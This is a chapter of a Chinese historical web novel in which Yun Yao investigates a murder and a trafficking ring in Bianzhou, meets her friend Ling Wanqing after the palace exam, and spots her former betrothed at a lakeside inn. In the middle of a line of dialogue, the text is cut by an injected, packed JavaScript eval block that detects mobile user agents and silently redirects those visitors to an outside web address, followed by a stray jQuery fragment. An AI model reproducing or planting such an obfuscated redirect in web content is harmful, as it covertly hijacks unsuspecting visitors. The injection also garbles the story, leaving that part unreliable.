回屋躺了会儿云遥打算出门一趟,下楼时掌柜的和伙计围在柜台正聊着什么。见云遥要出门连忙朝她招手。
临巷舍的掌柜姓王,四十出头,无儿无女,和云遥二人是同乡,十年前来这汴州做起客舍生意,云遥二人来之前也是得人介绍来此下榻。
“云姑娘这是又要出去?最近这城里不太平,你听我的还是少出去为好,前几天西城杀猪巷那边可是发生了一件骇人之事。”
这汴州乃天子脚下,能有什么骇人之事,云遥倒是来了兴趣,“是何骇人之事?”
“就前两日杀猪巷的吴屠夫杀猪的时候从猪肚中翻出了半根手指被吓得不轻连忙报了官府没成想那官府的顺着一查,没成想竟陆陆续续的从十几头猪中翻出其余的尸块,于是连夜上报到开封府,那吴屠夫惊吓过度都失心疯了。”
云遥听完脑中只闪过一个念头,此案验尸极难,要想确认身份恐怕更要费些时日。
见云遥半天不说话,掌柜的还以为云遥被吓住了:“不过姑娘也不必太担心,那被杀之人身份已经查出,相信凶手很快就会绳之以法。”
云遥微有些诧异,竟这么快就查明的死者身份。
王老板压低了声儿,悄悄地道:“只不过开封府这些日子可就难熬了,那猪肚不仅翻出了尸块,还翻出了曹相家的符契,现在都说那人是曹家的鹰犬,专门帮曹家干那些见不得人的事儿,这事在朝中沸沸扬扬,曹相大怒,命开封府十日内查出真相,誓要证明曹家清白。”
“曹家?哪个曹家?”
“还能有哪个,整个汴州只有一家姓曹,那便是当朝第一权相曹成璋,祖父曹奭是开国功臣,父亲曹淮远也是名震天下的名相,而他既是先帝的开蒙之师,还是太皇太后的侄女婿,这朝中除了世代勋贵的宇文世家和谢家那两个疯子,朝中大臣哪个不是上赶着攀附。”
三代为相、天子之师,倒真是权势滔天。
“所以我说姑娘你还是少出门,要真想逛,等揪出那真凶后再去也不迟啊。”
云遥:“好,多谢掌柜挂心,我就在附近转转。”
出了门后云遥转身便往内城去了。
汴州有内、外城之分,外城多是寻常百姓居住、坊市混杂之地,内城则是世家大族、权贵府邸,街衢整洁,宅院连片,内城再往里便是皇宫大内。
沿着麦秸巷西口,穿过御街,行经至州桥,浚仪桥街,云遥最终在开封府前停下。
随意找了家茶摊坐下,一直至午后,她要等的人才从开封府出来,那人便是贺春勤。
开封府审案当日审过后,第二日须再审,所以云遥一早便来等着,终于等到,也不知昨日结果如何。
贺春勤一眼便看到了云遥有些错愕:“姑娘你怎么在这儿?”
云遥:“恰巧有事路过。”
“那我与姑娘真有缘,昨日救了我不说,还帮我在公堂上干了件大好事。”
“哦?可否说来听听?”
贺春勤自然是愿意的,她原本只想自救,昨日听了这位姑娘的话胡乱的扯了几句,没想到竟然阴差阳错地牵出一桩大案,要是此案能破那她简直做了一件天大的好事,她也不再是贺家那个没出息女儿了。
云遥倒了杯茶水递给贺春勤。
贺春勤还未来得及喝,就将昨天公堂上发生的事一字不落地说给云遥。
话说昨日到了开封府后,王良和伍千一见参军就一个劲儿喊冤枉,还是说得二人好心被当驴肝肺那一套,贺春勤在集市时因事发突然,加上这伙人一直故意带偏她,遂落了下风,可经过云遥的一套拆穿后,再加上在开封府她冷静不少,不仅把云遥在草厂巷街说的话全部复言一遍,还顺势把云遥告诉自己的那几桩失踪案扯出来全栽在了卢二头上。
伍千、王良没有直接参与拐人,还需更有力的证据,可卢二当众拖人大家都是看见了的,他跑不了。
卢二眼见这么大桩案子全摊自己一人头上,另外两人却相安无事哪肯就范,连忙供出伍千和王良,狗急跳墙的脱罪。
“所以主谋是伍千,王良先加入,卢二是后加入此团伙。”
贺春勤猛灌了口茶长舒一口气继续道:“是的,但是伍千嘴挺硬的,非说那二人是为了脱罪拉他下水,这件事已经上报府尹,只是王良那二人没有实质性的证据,也没交代那些女子的去向,府尹也只能把人关押起来,还不能定罪。”
贺春勤说的与自己所猜测的大差不差,汴州近年来女子孩童频繁失踪,早在扬州时便已听闻,上月一到,云遥和凌万顷就曾打听过此事,可毫无头绪,直到昨天那三个人的出现。
那些女子失踪前最后的地点皆是外城集市,失踪后不久就不知道哪传来的消息,有说她们随人私奔的,也有说她们与人苟且被人撞破没脸见人的,而她们的丈夫和家人得知后怕事情传开便也不会再追究。
可事情哪有这么巧。
云遥该问的问了,朝贺春勤道了谢:“贺娘子早些回去,伍千那伙人虽在牢里,但保不齐有其他同伙,娘子近日最好先住亲戚家避一避。”
贺春勤:“谢谢姑娘,我一定小心。”
“那我先走了,贺娘子慢走。”
云遥转身时,袖子被轻轻拉住。
云遥回头:“贺娘子还有何事?”
贺春勤她望着云遥一身素雪缎面裙,素簪挽发不苟言笑,想必性子清冷,但她还是想多同她说几句话。
“昨日谢谢姑娘。”
“贺娘子不必如此客气。”
“我与姑娘素不相识,姑娘却为我仗义执言,以后我定会报答姑娘。”
“下次再遇见此事贺娘子能将那脏水泼回去便算是报答了。”
贺春勤笑着点点头:“谢谢姑娘,以后若遇到这种肮脏事,我定将那些人拉下水里淹死。”
云遥见她领悟此招满意地点点头,孺子可教。
时候不早了,另一件事儿还没办成呢。
万一肉饼卖完了凌万顷那厮得鬼哭狼嚎。
日落西山,宣德门外早已侯满的车马,街廊下,云遥手里拎着纸包,肉饼飘香。
时辰一到,宫门开,里面陆陆续续走出行人,此刻他们心情各有不同,有满脸笑意、胸有成竹的,也有一脸懊恼、捶胸顿足的。而凌万顷是饿鬼投胎那种。
她在宫门口上下左右张望,不一会儿就在车人往来的缝隙中探得云遥。
大老远地就在招手往这边跑来,云遥提起手里的饼晃了晃,锁定肉饼后凌万顷眼冒精光,步伐明显加快不少。
打开油纸一口咬下,满满的牛肉填满口腔,凌万顷的味蕾得到了极大的满足,一边吃还不忘小声嘀咕:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725971|208849||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都不知道这宫里的吃食有多淡,害我饿了一下午,不过还好,没影响我发挥。”
云遥:“这么说这题你押中了。”
凌万顷:“那是,题海战术不论在什么时代都不会过时,但圣心难测,你懂的。”
“不必强求,此路不通,总归有其它路。”
“就是,我跟你说我今儿算是见到真太监了,那小模样,拿腔带调的,电视剧诚不欺我。
“你们那的电视剧还有什么是不能演的。”
“多了去了,这个以后再给你说。还有那些宫娥,亭亭玉立,美丽极了。”
二人慢悠悠走在街上小声嘀咕着,凌万顷跟土包子进城似的把今日所见所闻事无巨细的一一讲给云遥听,一路唧唧呱呱得不停。
天色渐晚,月挂枝头。
汴州最具盛名的酒楼名为白矾楼,位于宫城东华门外,登西楼可望皇宫,北楼可望艮岳,三层高楼,飞桥横立,奢华无比,客人多是达官贵族之流。
云遥、凌万顷自是不愿同那些达官贵族在一处的,因为实在太过昂贵。
转而选择不远处的小明楼,价格便宜,二楼还能观湖景。
二人坐在窗边,点了几道小菜,微风拂过,湖水粼粼,心旷神怡。
“这样的日子真好啊。”凌万顷慵懒地撑着头,享受当下的安于。
云遥安静地望着湖面,是啊,这样的日子真好。
“明日我要去一趟杀猪巷。”
“杀猪巷?这是什么地方,杀猪的?”
“嗯,王老板说那儿死了一个人,也许对我们有用。”云遥语气平缓,静谧的眼波下藏着锋芒。
凌万顷即刻明白过来。
“好啊,我们一起,到时候顺道买点大肠做醋溜肥肠。”
云遥:“可”
“嘭”窗外烟火炸响,漫天绚烂。
“今儿什么日子,竟然还有烟火看。”凌万顷仰着脑袋好奇。
“管他谁呢,就当是为我们放的。”
看着天上的烟花绽开又坠散,云遥觉得有趣极了。
七彩烟火辉映着湖面,水波悠悠中漾这船只,船头上有一素白衣袍男子,在烟花下若隐若现。待看清那人时,云遥心中一窒,险先将手头的米酒打翻。
凌万顷顺着目光看过去,也是一愣。
只见那男子面若冠玉、神寒骨冷,即使在绚烂无比的烟火下周身也自带一股寒肃之气。
“遥妹好眼光啊,一眼就瞧上这全场最佳,容貌端庄、五官周正,皮肤还白,真乃绝世美男子。”
云遥收回目光淡淡道:“还记得我三年前我逃婚那事儿吗?当时的夫君便是那位了。”
云遥轻飘飘两句话差点没给凌万顷呛死。
“什么?这还能遇上。”
云遥也暗自感叹,真是孽缘。
凌万顷好一会儿才缓过来,脸上的欣赏之意已然消失。
“真是薄情寡义、虚情假意、狼心狗肺、......”
云遥见凌万顷骂起来就刹不住嘴,赶紧给她夹了筷子菜:“无妨,都过去了,先吃菜。”
凌万顷:“云遥你别拦着我,看我不骂死他。”
云遥恨铁不成钢的收回那筷子菜。
“我没想拦你,但这菜咱花了钱的,凉了就不好吃了。”